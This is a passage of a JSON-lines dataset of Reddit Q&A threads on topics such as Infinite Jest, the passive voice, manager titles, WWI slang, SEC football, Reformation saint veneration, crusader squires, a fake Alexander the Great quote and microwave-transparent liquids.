{"q_id": "kgrm0", "title": "infinite jest", "selftext": "I am referring of course to the book by David Foster Wallace.  Recently finished this book and have been trying to read more about it to no avail.  Perhaps someone on here would care to explain some (not looking for a graduate thesis here, which is what it would take to explain all) of it to us in the most thorough/simple way possible?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kgrm0/eli5_infinite_jest/", "answers": {"a_id": ["c2k4cwj", "c2k5yav", "c2k4cwj", "c2k5yav"], "score": [2, 3, 2, 3], "text": ["Infinite Jest is about the profound and inescapable sadness found in the futility of life.  ", "**Spoilers Inbound**\n\nAlrighty, i just finished this book a few weeks ago.\n\nThe first chapter is the most recent event chronologically speaking, it is Hal not being able to talk, he mentions Don Gately, the search for his fathers body, the (presumable) death of John Wayne and some other stuff.\n\nHere's my main thoughts on it\n\nOrin is sending out the copies of Infinite Jest, the master tape is found in his fathers coffin, which he goes to after getting released from the questioning by the A.F.R. During this torture he is placed under a large jar (just like a cockroach) and presumable gives the A.F.R the tape (he is still alive towards the end of the book.)\n\nBefore this, he goes to get the master tape and (because he always felt like he was a disappointment to his father) sends the tape to some people who he thinks were his fathers enemies. The first guy, the medical Asian guy, was a person Avril was cheating on The Real Himself with. The second person, who is affected by the tape through the mail, is the film critic who was embarrassed by The Real Himself's revelation about Found Drama, and how it's all one massive joke. \n\nThis critic, if you remember, went away for a bit, then came back and began slandering his name. Orin is also questioned by Hal on the phone early on as to why he is at the post office, Hal says Orin hates snail mail. This ties in with the fact the tapes were sent via snail mail and also the LOCATIONS of the tapes (postmarks) match up to where Orin played football and where he lived. Finally, for Orin, It is mentioned on the Arizona mountain top by Marathe that they believe the perpetrator of these attacks to be an athlete. \n\nHal Incandenza is pretty much the main character. He and his father had this weird thing where he spoke to his Dad but his Dad never acknowledged his speaking to him, or at least never heard it. Causing confusion for the both of them. Hal eats some mould as a child, and it is after this when this change begins to happen, ever since then he has been a great communicator but has been unable to feel. The WRAITH of the real himself is the one moving stuff around at the ETA and spikes his sons food/drink with the DMZ (he knocked the ceiling tiles, that Pemullis is looking up into, down in order to find it) that they get and plan to take (they talk about how it left one guy without speech once) \n\nThis is also a mould based drug, i think the real himself thought this would change the effect (he thinks) stopped his son from speaking in the first place. The real himself's ghost also says that ANY interaction with his son is better than none at all. And now the real himself can finally speak to his son through his thoughts. Towards the end of the first chapter it is mentioned that the opponent Hal is ready to face is called 'The Wraithster' (or something to that effect) which leads me to believe that the real himself has POSSESSED this other kid in order to finally have some interaction with his son at the Whataburger, on a tennis court. (Early on in the book a tribe is mentioned that releases ghosts into the world by drilling down into their graves, this is what Orin did to The Real Himself) The whole friggin point of Hal creating The Entertainment was to get Hal out of his shell, think about it. Hal moves outwardly but doesn\u2019t feel inside, but victims of the Entertainment feel **something** inside but don\u2019t move outwardly\n\nOkay, so. \nAvril was sleeping with John Wayne, and has some pro-qeubecois separation leanings as we learn from her past living in Canada. John Wayne's father reportedly lives in a place in Canada where there are lots of mines, this is the same place (possibly) where the wheelchair assassins lose their legs. Is it possible that John Wayne's father was even Marathe (long shot, probably someone unmentioned but who knows?) I think John Wayne is assassinated because he is a quadruple agent, who actually wants to help the gang get the entertainment master tape, but isassassinated for doing so (in the first chapter Hal talks about how John Wayne would have won this year if he was still here) \n\nAs Hal's sympotoms are getitng worse (the end of the book when he's walking down the corridor) he escapes the A.F.R's attack (they stole a bus from the ETA when they were driving somewhere iirc) and it is HERE where he is taken and placed in the empty bed NEXT TO DON GATELY. Now this is all specuilation, as we are left to figure out what has happened in the months in between, but i think it's pretty much this:\n\nJoelle visits Gately at the hospital and see's her ex-bf's brother Hal. She (remember she was questioned by the A.F.R) tells them both about the hunt for The Entertainment the real himself's grave. They persuade John Wayne, a spy for the A.F.R., to become a double agent and help sneak them into the **QUEBEC** burial site. Wayne tells the A.F.R. he is actually a triple agent  (that he will steal the tape and give it to the A.F.R) But he's lying, he's on Hal's side and the A.F.R find out and murder him.\n\nOkay, so now we kinda know what is meant by the ending and where everyone was and what they did (maybe) but there's a few very important things to remember.\n\nEventually the tape is giving to the A.F.R, and they use it as some kind of terrorist weapon, this effectively changes everything, the subsidized time stops and (presumable) Quebec is freed.\n\n**I know this isn't the best explanation, but if you ask any specific questions here i will be able to answer them as best i can, i know i skipped a lot of stuff about Don Gately but i was just trying to give a general overview of events instead of going into major detail, i will happily do that if you ask any other questions**", "Infinite Jest is about the profound and inescapable sadness found in the futility of life.  ", "**Spoilers Inbound**\n\nAlrighty, i just finished this book a few weeks ago.\n\nThe first chapter is the most recent event chronologically speaking, it is Hal not being able to talk, he mentions Don Gately, the search for his fathers body, the (presumable) death of John Wayne and some other stuff.\n\nHere's my main thoughts on it\n\nOrin is sending out the copies of Infinite Jest, the master tape is found in his fathers coffin, which he goes to after getting released from the questioning by the A.F.R. During this torture he is placed under a large jar (just like a cockroach) and presumable gives the A.F.R the tape (he is still alive towards the end of the book.)\n\nBefore this, he goes to get the master tape and (because he always felt like he was a disappointment to his father) sends the tape to some people who he thinks were his fathers enemies. The first guy, the medical Asian guy, was a person Avril was cheating on The Real Himself with. The second person, who is affected by the tape through the mail, is the film critic who was embarrassed by The Real Himself's revelation about Found Drama, and how it's all one massive joke. \n\nThis critic, if you remember, went away for a bit, then came back and began slandering his name. Orin is also questioned by Hal on the phone early on as to why he is at the post office, Hal says Orin hates snail mail. This ties in with the fact the tapes were sent via snail mail and also the LOCATIONS of the tapes (postmarks) match up to where Orin played football and where he lived. Finally, for Orin, It is mentioned on the Arizona mountain top by Marathe that they believe the perpetrator of these attacks to be an athlete. \n\nHal Incandenza is pretty much the main character. He and his father had this weird thing where he spoke to his Dad but his Dad never acknowledged his speaking to him, or at least never heard it. Causing confusion for the both of them. Hal eats some mould as a child, and it is after this when this change begins to happen, ever since then he has been a great communicator but has been unable to feel. The WRAITH of the real himself is the one moving stuff around at the ETA and spikes his sons food/drink with the DMZ (he knocked the ceiling tiles, that Pemullis is looking up into, down in order to find it) that they get and plan to take (they talk about how it left one guy without speech once) \n\nThis is also a mould based drug, i think the real himself thought this would change the effect (he thinks) stopped his son from speaking in the first place. The real himself's ghost also says that ANY interaction with his son is better than none at all. And now the real himself can finally speak to his son through his thoughts. Towards the end of the first chapter it is mentioned that the opponent Hal is ready to face is called 'The Wraithster' (or something to that effect) which leads me to believe that the real himself has POSSESSED this other kid in order to finally have some interaction with his son at the Whataburger, on a tennis court. (Early on in the book a tribe is mentioned that releases ghosts into the world by drilling down into their graves, this is what Orin did to The Real Himself) The whole friggin point of Hal creating The Entertainment was to get Hal out of his shell, think about it. Hal moves outwardly but doesn\u2019t feel inside, but victims of the Entertainment feel **something** inside but don\u2019t move outwardly\n\nOkay, so. \nAvril was sleeping with John Wayne, and has some pro-qeubecois separation leanings as we learn from her past living in Canada. John Wayne's father reportedly lives in a place in Canada where there are lots of mines, this is the same place (possibly) where the wheelchair assassins lose their legs. Is it possible that John Wayne's father was even Marathe (long shot, probably someone unmentioned but who knows?) I think John Wayne is assassinated because he is a quadruple agent, who actually wants to help the gang get the entertainment master tape, but isassassinated for doing so (in the first chapter Hal talks about how John Wayne would have won this year if he was still here) \n\nAs Hal's sympotoms are getitng worse (the end of the book when he's walking down the corridor) he escapes the A.F.R's attack (they stole a bus from the ETA when they were driving somewhere iirc) and it is HERE where he is taken and placed in the empty bed NEXT TO DON GATELY. Now this is all specuilation, as we are left to figure out what has happened in the months in between, but i think it's pretty much this:\n\nJoelle visits Gately at the hospital and see's her ex-bf's brother Hal. She (remember she was questioned by the A.F.R) tells them both about the hunt for The Entertainment the real himself's grave. They persuade John Wayne, a spy for the A.F.R., to become a double agent and help sneak them into the **QUEBEC** burial site. Wayne tells the A.F.R. he is actually a triple agent  (that he will steal the tape and give it to the A.F.R) But he's lying, he's on Hal's side and the A.F.R find out and murder him.\n\nOkay, so now we kinda know what is meant by the ending and where everyone was and what they did (maybe) but there's a few very important things to remember.\n\nEventually the tape is giving to the A.F.R, and they use it as some kind of terrorist weapon, this effectively changes everything, the subsidized time stops and (presumable) Quebec is freed.\n\n**I know this isn't the best explanation, but if you ask any specific questions here i will be able to answer them as best i can, i know i skipped a lot of stuff about Don Gately but i was just trying to give a general overview of events instead of going into major detail, i will happily do that if you ask any other questions**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "14psto", "title": "why scientific writing can be in the passive voice but ordinarily that's bad?", "selftext": "So all through high school and college, English teachers are very clear that passive voice *is not good form.* Then you go to science class and all your lab reports are not just permitted but *expected* to be in passive voice. Science journal articles are also often in passive voice. Is this just scientists saying \"Don't tell us what to do!\" to English teachers, or is there some reason why it's allowed in this context?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14psto/eli5_why_scientific_writing_can_be_in_the_passive/", "answers": {"a_id": ["c7fazmv", "c7fb2fc", "c7fb4sn", "c7fbb2v", "c7fj2xs"], "score": [4, 42, 6, 6, 4], "text": ["Honestly, the prohibition against the passive voice in writing is kind of old-fashioned. Language changes and this is just one of those things that English teachers keep teaching even though it is quickly becoming outdated.", "The passive voice is used when the performer of an action is either unimportant or hidden. An example of the first is that when scientists do experiments, they are not the important part of that sentence. The experiment and its results are. An example of the second is the ubiquitous \"mistakes were made\" coming from a politician or businessman. In the second instance, the passive voice becomes a weaselly device for shirking responsibility, and as a result is seen as bad form. In the first example it's completely fine.\n\nA blanket condemnation of the passive voice is silly, but teachers often don't give their students credit for being able to understand nuance. As a result this is what they teach us in high school. When all is said and done, I think it's a stylistic choice, but overuse of the passive voice is usually bad style.", "Because scientific writing focuses on *what* has been done, not who is doing it.  Additionally, it is clear that the subject is implied to be the authors of the paper.  \n\nIt is considered bad form in English because active voice is often a clearer and more direct way to describe an action, and passive voice is often overused by high school and college students.  That isn't to say that you should never use it, though.  Passive voice can be used when you want to emphasize the action, or if the subject is unknown.  All rules in English writing can be broken, but you should be aware of why those rules exist.", " >  So all through high school and college, English teachers are very clear that passive voice is not good form.\n\nAnd they don't know what they're talking about.  Fun fact: [tons of these people who complain about the passive can't even identify a passive clause correctly](_URL_0_).\n\nPassives, to be really crude about it, exist because sentences are usually of this form:\n\n1. Mention some thing you've mentioned in previous sentence in the conversation\n2. Say something about that thing that you hadn't said before.\n\nThis is called [topic-comment structure](_URL_1_); #1 is the topic, #2 is the comment.  The topic is normally also the subject in English, which means that sometimes we have to \"flip\" a sentence around to have the recipient of the action be the subject instead of the object.  So, passives to the rescue.", "These were probably the same teachers who told you that you cannot start a sentence with the word And.  Which is incorrect, you totally can.\n\nAnd it won't even look wrong.\n\nThey tell you that because at the age they tell you that, most people can't quite grasp that being acceptable in certain situations and unacceptable in most others is a thing.  So they just tell you to not do it, and figure the ones who learn to write will figure it out on their own.\n\nSame kinda thing here, more or less.  The Active Voice is what you are going for in most assignments as the point is often about you - what you think, what you did, what you feel, you you you.\n\nOther writings - like scientific ones - aren't about the author, but the subject being written on.  The experiment.  The cave.  The county of Westminshire-upon-Trent.  So Passive works."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://languagelog.ldc.upenn.edu/nll/?p=2922", "http://en.wikipedia.org/wiki/Topic%E2%80%93comment"], []]}
{"q_id": "aeux05", "title": "in a corporate environment, what are the main differences in the roles of an assistant manager, associate manager, and a manager?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aeux05/eli5_in_a_corporate_environment_what_are_the_main/", "answers": {"a_id": ["edsudqo", "edsxkds"], "score": [2, 2], "text": ["Generally, a manager is any person who is in a supervisory role over other people. An associate manager would be a junior-level manager or a manager-in-training. An assistant manager would either be a junior position to help out an existing, more senior manager, or perhaps a back-up manager that takes over when the primary manager isn't there.", "Im new to an assistant manager position and my general manager just yesterday told me that its all about how far ahead you are looking. The supervisor on the floor is dealing with the now. The assistant manager is looking at the week ahead. The associate manager is looking two weeks ahead, and the manager is looking two months ahead. \n\nThat explains the division of labor where the manager is the person schmoozing and doing most of the back-end paperwork, dealing with finances and planning budgets, down to the assistant manager handling scheduling of staff using those budgets and the supervisor is directly delegating tasks to the employees. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "74z53x", "title": "Where/when/how did the terms \"Jerry\" and \"Tommy\", referring to Germans and British respectively, come about?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/74z53x/wherewhenhow_did_the_terms_jerry_and_tommy/", "answers": {"a_id": ["do3n8fe"], "score": [3], "text": ["\"Jerry\" as a term for German troops is probably a diminutive of \"German\".   It was in use by  British troops in France by early 1916.   The Daily Express quoted it in March 1916 and in September 1916 explained it as \" \"Jerries\" - That is the \"official\" Irish designation of the enemy.\"   It does not appear to have been a particularly derogative term.\n\n\nThe term \"Tommy\" is an abbreviation of \"Thomas Atkins\", a generic term for British soldiers since at least 1815 when the British War Office released the \"General Regulations and Orders\" with sample forms and directions for record keeping where the forms showing how to complete soldiers records used the generic name \"Thomas Atkins\" as an example.   The usage of the name as an exemplar for forms continued to appear in the 1832 version of the direction \"On The Enlisting, The Discharging, and The Pensioning of Soldiers\" and has continued.   By the 1860s, soldiers were commonly using the term in reference to themselves.   There is a complaint letter in the Soldiers Gazette of 1864 signed by \"Tommy Atkins\". In 1890 Rudyard Kipling wrote the poem \"Tommy\", published in the collection \"Barrack Room Ballads\" which established the term as an identifier for the British soldier throughout the English speaking world. \n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3bs3va", "title": "how college football conferences like sec became so insanely popular and consuming of peoples lives, and how it still persists with such magnitude.", "selftext": "I just recently learned about how crazy people get when it comes to SEC. It seems so foreign and bizarre to me. How did it get so intrenched in american culture?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3bs3va/eli5how_college_football_conferences_like_sec/", "answers": {"a_id": ["csoyvgl", "csoz1ad", "csozm96", "csozqpo", "csp17cz", "csp683h", "csp6ute", "csp8wpf", "cspa9kx"], "score": [5, 31, 14, 2, 3, 4, 2, 2, 2], "text": ["Are you asking why college football is so big in America in general, or just the South?\n\nThe big football universities make football a huge part of campus life, and a lot of an alumnus's best college memories will involve football. They'll remain a fan long after they graduate, and their kids will probably be fans too.\n\nAs far as the South in particular: in the early 20th century, with a down economy and a whole host of other issues, people in the South had little to be proud of. When their college football teams started winning, they latched onto it as something that they could take pride in. That continues to this day.", "It's not that much different than fans of pro sports - It's just that the southeast region of the country was really Underserved by pro teams of any sport.\n\nLook at Baseball - for the longest time, it was pretty much the Braves for that entire region. Other sport leagues are similar, although it has slowly changed.\n\nSo, if your dad and your grandpa were huge fans of Alabama or ole Miss, and went to or listened to every game - guess what you will probably grow up being a fan of?\n\nFWIW, i grew up in NC, where ACC Basketball was king. I think most people who grew up local have more interest to ACC basketball than they do to any professional sport (Except maybe NASCAR), even though now there are pro Football, Hockey and Basketball teams. \n\n", "I am from the South, and football is a huge part of the culture. Even Friday Night football at the local high schools is a big event, and it gets competitive. There aren't many pro teams close by, so there's more emphasis on high school and college football there      \n\nBecause of the competiton, a lot of good talent is cultivated at the high school levels in the area, and they play for local colleges and do well there (again part of the culture is staying closer to home)     \n\nNow good talent from other parts of the country hear about these SEC schools doing well and join one of the schools. Repeat this for a few decades, and you get good coaches, good staff, and good players across the conference      \n\nTL:DR; Southern culture loves football, and over time this helps the SEC become a strong conference", "People get crazier for some NFL teams. Look up Packers, Steelers, Cowboys, etc.\n\nFootball is the biggest religion in this country. SEC specifically because they didn't have a lot of pro teams and some of the rivalries are over a 100 years old. It is a way of life down there.", "Specifically to the SEC, a large portion of the attention comes from the media.  It creates a bit of a self-fulfilling prophecy because several SEC teams have been good for extended periods (Alabama, LSU, etc).\n\nWhat winds up happening is that NEXT year, the media ranks those SEC teams highly - and when they inevitably lose against each other, they fall less in the polls because they lost to another highly ranked team.  In other words, they're tough because we say they're tough, so then they go play other tough teams.\n\nThis problem is not nearly as bad as it had been - the SEC hasn't even been a factor in the last two titles or Heisman winners - so part of that myth is falling away.  \n\nOf course this addresses just the \"SEC-specific\" part of your question.  It's also important to note that college football is very cyclical.  Back in the 80-90s, the old Big 8 ruled the roost with teams like Nebraska and Oklahoma being dominant.  During the early 2000s, you saw the rise of teams like Miami (ACC) and USC (then, Pac-10).  The media loves to jump on a bandwagon and the SEC is only the most recent flavor.", "The SEC is kind of an anomaly with the level of fan craziness and the level of success as a collective.  I think there are four major factors in play.  \n\nFirst, the amount of football talent that comes out of these states and usually play SEC schools.  I think four of the top five states for producing NFL talent per capita are SEC states.  While there is incredible talent all over college football, it is just deeper in the SEC.  \n\nSecond, the small town culture.  By that I mean in random towns in places like Alabama, Mississippi, or Louisiana there aren't a lot of options for entertainment on Saturday afternoons.  Here in Louisiana (LSU fan here), Saturdays in football season tend to be centered around where you want to watch the LSU game.  Games become social events.\n\nThirdly, as other have mentioned the lack of NFL teams to root doesn't give people the options football fans in other parts of the country have.  Several SEC schools don't have an NFL team in the state.  \n\nLast, SEC fans figured out that other SEC teams doing well will only help their team in the long run.  The streak of NC's helped build a lot of goodwill with the former BCS and now playoff committee.  There is this uneasy alliance where SEC fans will chant \"SEC\" but absolutely hate each.  ", "If you ever get the chance OP, go to an SEC football game (especially one that's a big game or heated rivalry), and you'll understand almost instantly. I was always a casual football fan, but being a student at an SEC school I got free season tickets, went to my first game there and fell in love instantly. There's nothing like it. I'm not a huge sports junkie, but I keep up with my NCAA football from August to September.", "The only difference between the SEC and other big conferences is that their shirty teams are also very passionate about football.   No real difference between the passion at OSU, Michigan, Nebraska, Notre Dame, etc and the SEC. The difference is between Purdue and Mississippi St.\n\n", "SEC football is such a big deal that I got a decent amount of scholarship money to play in the drunmline for my school. Paid for my books for 2 years "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "7i7kgs", "title": "Why did Protestants abandon the veneration of saints during the reformation?", "selftext": "Was this something that happened straight away, or later?\nAnd was it primarily for social (such as the veneration of saints being associated with corruption in the Church, or something like that), or theological reasons?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7i7kgs/why_did_protestants_abandon_the_veneration_of/", "answers": {"a_id": ["dqwu6eh", "dqwx7v0"], "score": [27, 20], "text": ["I'll mostly address the theological aspect, since that's my concentration. But yes, it did happen pretty much right away: if we date the beginning of the Reformation to Luther's posting of the 95 Theses in October 1517, it was within the first few years that Luther began raising doubts about all of it.\n\nI would say that on the part of Martin Luther and his fellow Reformers, as the theological leaders of the Reformation, the question of venerating saints was a theological concern, not a social or practical one. Luther's big problem with it was that the cult of the saints, in his view, put up unnecessary barriers between the person and God and, too often, degenerated into idolatry in which another human being is loved and trusted more than Christ.\n\nLuther began reacting against this and rejecting it as early as 1521-1523, first stating that he found no Biblical basis for the practice and therefore he could not condemn anybody who declined to venerate the saints, then later actively rejecting such veneration as idolatry:\n\n >  For about the intercession, adoration, and prayer to departed saints there is nothing in Scripture. No one can deny that by such saint worship we have now come to the point where we have actually made utter idols of the Mother of God and the saints, and that because of the service we have rendered and the works we have performed in their honor we have sought comfort more with them than with Christ Himself. Thereby faith in Christ has been destroyed.\n\nThat's not to say that it was his intention to totally banish all mention of the saints. There are differences with other Protestants, but the earliest Protestant view and still the current Lutheran is that,\n\n >  the saints are to be remembered so that we may strengthen our faith when we see how they experienced grace and how they were helped by faith. Moreover, it is taught that each person, according to his or her calling, should take the saints' good works as an example... However, it cannot be demonstrated from Scripture that a person should call upon the saints or seek help from them. \"For there is only one single reconciler and mediator set up between God and humanity, Jesus Christ\" (1 Tim. 2:5)... He alone has promised to hear our prayers.\n\nFrom the Augsburg Confession, XXI. This dates from 1530, the first systematically organized Protestant/Lutheran confession of faith. This is a fairly consistent thread in Lutheran thought: it's fine (even encouraged) to remember the saints, to honor them, to learn from their example. What crosses the line is actively praying to them, to look to their merits (see the \"treasury of merits\" connected to indulgences) instead of to Christ, etc. It's the same in much of the theology connected to the Virgin Mary: it seems that throughout his life, Martin Luther continued to believe some very Roman Catholic things about Mary, including her perpetual virginity and even her immaculate conception. These doctrines weren't the real problem for him; the issue was the *active* devotion, intercession, and mediation.\n\nOf course, even if the Reformation leaders were primarily motivated by theological concerns, there were certainly other non-theological factors involved with their followers. The cult of a popular saint who drew a lot of pilgrims was a huge economic boon to a city or region that possessed his or her relics; the thriving Medieval trade in relics testifies to this, as different places competed and sought to one-up each other in the relics they possessed. So the theological opportunity in the Reformation to dismantle this would be appealing to places that suffered as others gained - a way to level the playing field, so to speak. One particularly popular destination was Santiago de Compostela in Spain, in addition of course to Rome itself, and the Germans were all too conscious of all the gold leaving their own land, going into the pockets of the Spanish and Italians. Luther mentioned this too, as early as 1522:\n\n >  We read no more about St. James in Acts than that Herod killed him with the sword; that is all. How he ever came to Santiago de Compostela, whither people undertake the great pilgrimage, we are not reliably informed. Some say that he lies in France at Toulouse, but they too are not sure of the matter. Therefore let the saints lie, and do not run to their shrines; for you do not know whether St. James or a dead dog or a dead horse lies there. Therefore those who run there are properly served; for since they neglect to do the good, right works, which God commands, they fall into running to St. James and, before giving a poor man ten gulden, they run to the shrine and use up forty or a hundred.\n\nOne could speculate on this shift in the 16th century being related to the changing shape of society as a whole. In his book *The Cult of the Saints*, Peter Brown makes the case that these devotions emerged at least in part due to the social importance of a patron-client relationship; the saints were seen as \"friends of God,\" so friendship with the friends of God was a valuable patronage to gain, just as friendship with the friends of a king or emperor would be. This plays in well with the Medieval feudal system as well, but as that faded into the early Modern era and structures change, the perceived need in that regard would be lessened. That's not my wheelhouse, though; I'd love to hear a social historian comment on that.", "Dismantling the cult of the saints is, I think, one of the most fascinating developments in Reformation piety. With most things--right down to something as central to Christianity as the Eucharist--we see adaptation and reinterpretation, not outright destruction. \n\nAnd it was a more radical move than Luther tended to favor on his own. /u/Philip_Schwartzerdt places the emphasis differently than most religious historians would today. In the early 1520s, indeed, Luther was *waffling* on the cult of the saints. (He himself had a particularly strong devotion to St. Anna, Mary's mother). This is a man who made NO secret of his iconoclastic (literally and metaphorically) beliefs in writing and NO attempts in the treatises in question to be accommodating or light-handed. So when Luther suggests that some people might not venerate the saints and it's okay, he's still accepting the cult (that is, organized devotion, Latin *cultus*) as valid doctrine. In fact, the pressure to reject it altogether came from more radical elements among the Reformers, and its adoption by Luther, like his reluctant decision to give up his *personal* celibacy, seems to have been largely pragmatic.\n\nSo why did people *want* to get rid of the saints, and why were they *religiously able* to dump such a MASSIVE component of late medieval devotion? \n\nI want to point to three key functions of saints in medieval piety. First, they were intercessors with Christ for mercy and salvation after individual Christians' death. Second, their pious lives were exemplary--they were role models. Third, they were \"holy helpers\"--as patron saints of particular causes and cities, they intervened in daily life to help people in *this* world, not just the next.\n\nMelanchthon has properly covered the first aspect: Protestant soteriology (theology of salvation) has no room for saints. Salvation depends solely on Christ, and is predestined for each individual. Prayers from a saint have no practical impact. And the idea of people \"more graced\" than others flies in the face of the Protestant \"priesthood of all believers\" ideal.\n\nBut what of the other two? Those don't really counteract any Protestant dogma--in fact, they're pretty important to it. Christians today still seek role models of morality and piety; they still pray for help in this life.\n\nThe thing is, people had spent the last century and a half of the Middle Ages entrenching alternate or competing methods of filling those two purposes.\n\nFirst, while biblical exemplars had always been hanging around Christian teaching, references to Bible heroes and heroines for role models became much more prominent and frequent in the 14th-early 16th centuries. Judith is everyone's favorite example (even though the book is apocryphal). In the hands of male authors, she models chastity, purity, good widowhood. In the hands of women authors, she embodies brave heroism in the face of trials. (For reference: Judith in the Hebrew Bible deuterocanon is an Israelite leader who cuts off a dude's head with a sword.) During the 15th century, more and more people had access to the Bible, and of course Reformation preaching centered on it. People still had their role models, even without the saints.\n\nSecond, and *way* cool IMHO, is the matter of intercession in this life. Keith Thomas can talk about the \"decline of magic,\" but we're not quite there yet in 1520. Women are still writing scraps of St. Margaret of Antioch's hagiography onto amulets for protection during childbirth. But from the early 15th century, propogated by popular preachers/didactic writers like Jean Gerson, there was a new cult arising: *guardian angels*. The idea of an angel, not spectral human, helper for individual Christians already had solid traction in popular piety by the time the Reformers rolled onto the scene.\n\nSo we've accounted for the main purposes of the saints in European Christianity circa 1520. One prong was theologically unnecessary, outright contradictory. The other two had ready substitutes already well established in people's mind. That's the setup. For the virulent opposition that either made Luther change his mind or pushed him in a direction he was tentatively leaning, we'll turn to the nature of lay anticlericalism in the early Reformation. Well, one tiny sliver of the nature of lay anticlericalism, heh. And that is: the cult of the saints was a central component of what was perceived as the financial abuses of the Roman Church. \"Donations\" to see saints' relics; pilgrimages to saints' shrines to obtain desirable indulgences--popular saints were a real moneymaker for the Church. And again, lay nobles had spent the 15th century trying to reform the fiscal abuses of their local parishes in their territories; the entrance of evangelical (Lutheran) preaching and its anti-Rome anticlerical message unleashed massive floodgates. The cult of the saints, with no particular reason to exist, could not *as an institution* hold up under the anger reflected onto it.\n\nScholars have shown, of course, that individual and local pockets of veneration continued into the Protestant era. Changes aren't immediate. But the improvement and spread of *Protestant* education, and the substitutionary roles of guardian angels and biblical exemplars, ultimately filled in the gaps in the wall."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "204dws", "title": "Say I'm a squire to a Knight from Europe going to conquer the Holy Land in the name of God. Despite his prayers and prowess in battle, he gets bested but I escape. What happens to me now?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/204dws/say_im_a_squire_to_a_knight_from_europe_going_to/", "answers": {"a_id": ["cfzrjdf", "cfzsb5u", "cfzscde"], "score": [282, 903, 178], "text": ["OK everyone, this is a question in AskHistorians. Like any other question, it will be moderated according to our [rules](_URL_0_). The tl;dr of that is: *answer the question* in an in-depth, comprehensive manner such as an historian might do.\n\nGuessing, speculating, making comparisons to video games and asking things like \"What happened here?\" do not meet our rules for answers and will therefore be deleted.\n\nThank you for your patience in awaiting a good answer.", " >  What happens to me now?\n\nYou continue on to Jerusalem, fulfill your crusading vow (assuming you made one), and return home, just like all the other crusaders. Failure to do so would have profound spiritual repercussions. \n\n >  Knight from Europe going to conquer the Holy Land in the name of God\n\nTo be clear, this is a pretty terrible understanding of what the crusades actually were. Only a very small minority of Crusaders actually stayed in the Levant after fulfilling their pledges to visit the Holy Sepulchre, and while possession of the territory was considered important, crusades were first and foremost an act of penitence just like any other pilgrimage. God, after all, expunge all non-believers from the face of the earth, if he so chose. The Islamic possession of Outremer was thus an opportunity provided by god to aid in your spiritual salvation, regardless of actual outcome.\n\nAlso, the formal position of squire was an innovation which significantly postdates the First Crusade, and it is thus unlikely that you would have existed at all.\n\nSome reading:\n\n* Riley-Smith, Jonathan. The Crusades: A Short History. 2nd ed. New Haven: Yale University Press, 2005.\n", "Unfortunately this question has an incorrect foundation. The 'squire' is a late medieval formulation which never saw action in the crusades of the central middle ages. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/rules"], [], []]}
{"q_id": "cluzag", "title": "Did Alexander the Great really give this Pro-Globalization Anti-Racism message?", "selftext": "_URL_0_ \n\n > All mortals should live like one, united, and peacefully working towards the common good. You should regard the whole world as your country, a country where the best govern, with common laws, and no racial distinctions. I do not separate people, as many narrow-minded others do. I am not interested in the origin or race of citizens; I only distinguish them on the basis of their virtue. For my part, I consider all, whether they be white or black, equal. Alexander The Great. \n\nThe sentiment seems rather modern so I am skeptical of its authenticity.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cluzag/did_alexander_the_great_really_give_this/", "answers": {"a_id": ["evyjiht"], "score": [15], "text": ["Your skepticism is well founded. No, that speech is a fabrication promoted by a Greek politician over 2000 years after Alexander's death. Even a cursory study of Alexander's life shows that his actions were not compatible with believing in the equality of mankind.\u00a0\nI highly recommend the following article, titled Alexander the Great and the Unity of Mankind, which discusses in depth the various ideas of unity of mankind attributed to Alexander:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.hellenicaworld.com/Greece/Person/en/AlexanderTheGreat.html"], "answers_urls": [["https://www.jstor.org/stable/pdf/4434588.pdf?seq=1#page_scan_tab_contents"]]}
{"q_id": "jhhfr", "title": "I'm looking for a liquid that is not heated by microwaves to use in an educational demonstration about light absorption. Can anyone think of something?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jhhfr/im_looking_for_a_liquid_that_is_not_heated_by/", "answers": {"a_id": ["c2c5thg", "c2c5umm", "c2c5thg", "c2c5umm"], "score": [2, 2, 2, 2], "text": ["Layman speculation:\n\nMicrowaves work best on polar molecules, such as water.  Perhaps try a nonpolar solvent?  Hydrocarbons such as pentane, hexane, and benzene have 0 dipole moments, but I don't know what will happen if you stick them in a microwave.  They'd probably explode in your face. They are flammable after all...\n\nWhat exactly are you doing with this, anyway?", "Microwave heating depends upon the interaction of the microwaves and a polar molecule. In theory if you used a pure non-polar liquid this interaction would be minimized and heating would be lower. Of course impurities, water vapor in the ambient air, and the fact that a substance can be non-polar but at the same time still be *polarizable* and thus able to be heated to some extent in a microwave. My choice would be some sort of non-polar liquid like an oil. Of course some oils are flammable or can cause severe burns when heated so...\n\n**DISCLAIMER: YOU ARE SOLELY RESPONSIBLE FOR YOUR OWN SAFETY IN ANY DEMONSTRATION YOU ATTEMPT. IN OTHER WORDS... DON\"T TRY THIS AT HOME UNLESS YOU ARE AN EXPERT!**", "Layman speculation:\n\nMicrowaves work best on polar molecules, such as water.  Perhaps try a nonpolar solvent?  Hydrocarbons such as pentane, hexane, and benzene have 0 dipole moments, but I don't know what will happen if you stick them in a microwave.  They'd probably explode in your face. They are flammable after 